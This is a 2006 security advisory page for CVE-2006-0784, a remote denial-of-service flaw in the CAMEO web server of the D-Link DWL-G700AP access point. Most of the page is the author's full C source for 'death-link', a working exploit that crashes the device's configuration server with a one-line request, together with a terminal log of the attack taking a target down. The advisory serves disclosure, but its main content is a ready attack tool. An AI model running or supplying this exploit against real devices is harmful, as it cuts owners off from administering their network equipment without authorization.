SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

D-Link DWL-G700AP httpd DoS


Arrow  SecurityAlert : 441
Arrow  CVE : CVE-2006-0784
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : l0om
Arrow  Published : 17.02.2006

Arrow  Affected Software : v2.00 and the latest v2.01



Arrow  Advisory Content :  

author: l0om
page: www.excluded.org
product: D-Link DWL-G700AP
firmware: tested on v2.00 and the latest v2.01

The DWL-G700AP is an accesspoint from D-Link and the only way to configure
it is the http service which is managed from a httpd called "CAMEO". This
webserver is very easy to DoS because all you have to do is send the AP the
following string: "GET nn". I really have been thinking how bad you have
to code to shutdown the whole service with one request which is handeld by
one child process. my guess is that the parent httpd tries to log the
request
and runs into a "segmentation fault" while reading the "GET", "POST" or
whatever request with no filename.

PoC exploit follows just for phun and no profit.

best wishes everyone and have phun!
l0om

---8<--snip---8<--snip---8<--snip---8<--snip---8<--snip---8<--snip

l0om@badhost:~/death-link> netcat 192.168.0.50 80 -v
(UNKNOWN) [192.168.0.50] 80 (http) open
punt!

l0om@badhost:~/death-link> ./death-link -h
death-link - written by l0om
WWW.EXCLUDED.ORG
DoS CAMEO-httpd D-Link DWL-G700AP

death-link [options] <ip-address>
-o: ONLY CHECK for valid target
-c: check for valid target
-h: help

l0om@badhost:~/death-link> ./death-link -c 192.168.0.50
death-link - written by l0om
WWW.EXCLUDED.ORG
DoS CAMEO-httpd D-Link DWL-G700AP

checking target... done! valid victim detected
sending DoS... done!
checking webserver status... CAMEO-httpd DEAD

l0om@badhost:~/death-link> netcat 192.168.0.50 80 -v
(UNKNOWN) [192.168.0.50] 80 (http) : Connection refused

l0om@badhost:~/death-link> ./death-link -o 192.168.0.50
death-link - written by l0om
WWW.EXCLUDED.ORG
DoS CAMEO-httpd D-Link DWL-G700AP

checking target... faild! webserver already dead?

---8<--snip---8<-- death-link.c --8<--snip---8<--snip

/*
death-link.c
------------------------
written by l0om
WWW.EXCLUDED.ORG
------------------------
exploit tested on firmware: v2.00 and the latest v2.01
remote DoS exploit for the CAMEO-httpd which is running on the D-Link
Accesspoint DWL-G700AP. After executing this the accesspoint cannot be
configured anymore because the only way to administrate the AP is the
administration with your browser. you have to reboot the box to get the
httpd started again.

have phun!

// some greetings
maximilian, Prof. J. Dealer, Theldens, Commander Jansen, ole, detach,
mattball, molke, murfie, vy99
excluded.org people, IT31 people

// the guys who made exploiting possible with buying this AP
joerres, hermanns, schubert

*/

#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define DOSSTRING "GET nn"
#define TARGET "CAMEO-httpd"
#define DESTPORT 80

int alive(char *ip);
int check_httpd(char *ip);
void help(void);
void header(void);
int DoS(char *ip);

int main(int argc, char **argv)
{
int fd, i, check = 0;
char *ip = NULL;

header();

if(argc > 1)
for(i = 1; i < argc; i++)
if(argv[i][0] == '-')
switch(argv[i][1]) {
case 'o':
check = 2;
break;
case 'c':
check = 1;
break;
case 'h':
help();
break;
default:
printf("t>> %s << unknown optionn",argv[i]);
exit(-1);
}
else ip = argv[i];

if(ip == NULL) help();

if(check) {
printf("tchecking target... "); fflush(stdout);
i = check_httpd(ip);
if(i <= 0) {
printf("faild! ");
if(!i) printf("invalid target webservern");
else printf("webserver already dead?n");
exit(-1);
}
else printf("done! valid victim detectedn");
if(check == 2) return 0;
}

printf("tsending DoS... "); fflush(stdout);
if(DoS(ip) <= 0) {
printf("faild!n");
return -1;
} else printf("done!n");

sleep(1);
printf("tchecking webserver status... "); fflush(stdout);
if(!alive(ip)) printf("%s DEADn",TARGET);
else printf("%s on %s is still alive :( n",TARGET,ip);

return 0;
}

int check_httpd(char *ip)
{
int sockfd, nbytes, len, i = 0;
char buf[500], pattern[] = TARGET, *ptr;
struct sockaddr_in servaddr;

if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(-1);
}
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(DESTPORT);
servaddr.sin_addr.s_addr = inet_addr(ip);

if(connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1)
return -1;

if(!write(sockfd, "GET / HTTP/1.0nn", 16))
return 0;
else nbytes = read(sockfd, buf, 500);

len = strlen(pattern);
ptr = buf;

while(nbytes--) {
if(*ptr == pattern[i])
i++;
else i = 0;
if(i == len) return 1;
else ptr++;
}
return 0;
}

int alive(char *ip)
{
int sockfd, nbytes, len, i = 0;
char buf[500], pattern[] = TARGET, *ptr;
struct sockaddr_in servaddr;

if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(-1);
}
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(DESTPORT);
servaddr.sin_addr.s_addr = inet_addr(ip);

if(connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1)
return 0;
else return 1;
}

int DoS(char *ip)
{
int sockfd, nbytes, len, i = 0;
char buf[500], pattern[] = TARGET, *ptr;
struct sockaddr_in servaddr;

if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(-1);
}
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(DESTPORT);
servaddr.sin_addr.s_addr = inet_addr(ip);

if(connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1)
return 0;
else return(write(sockfd, DOSSTRING, strlen(DOSSTRING)));
}

void help(void)
{
printf("tdeath-link [options] <ip-address>n");
printf("t-o: ONLY CHECK for valid targetn");
printf("t-c: check for valid targetn");
printf("t-h: helpn");
exit(0);
}

void header(void)
{
printf("tdeath-link - written by l0omn");
printf("t WWW.EXCLUDED.ORGn");
printf("tDoS %s D-Link DWL-G700APnn",TARGET);
}





Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libopie __readrec() off-by-one

Security Risk Medium- 2010-04-23

This advisory is related to new FreeBSD advisory FreeBSD-SA-10:05.opie.

Apache RSS Apache Alert

» Apache ActiveMQ 5.4.0
   source code disclosure
   vulnerability

» Apache ActiveMQ 5.3.0
   Persistent Cross-Site
   Scripting

» Apache CouchDB 0.10.1
   Timing Attack
   Vulnerability

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

PHP RSS PHP Alert

» PHP 5.2.12/5.3.1
   session.save_path
   safe_mode and
   open_basedir bypass

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass

Copyright © SecurityReason.com. All Rights Reserved.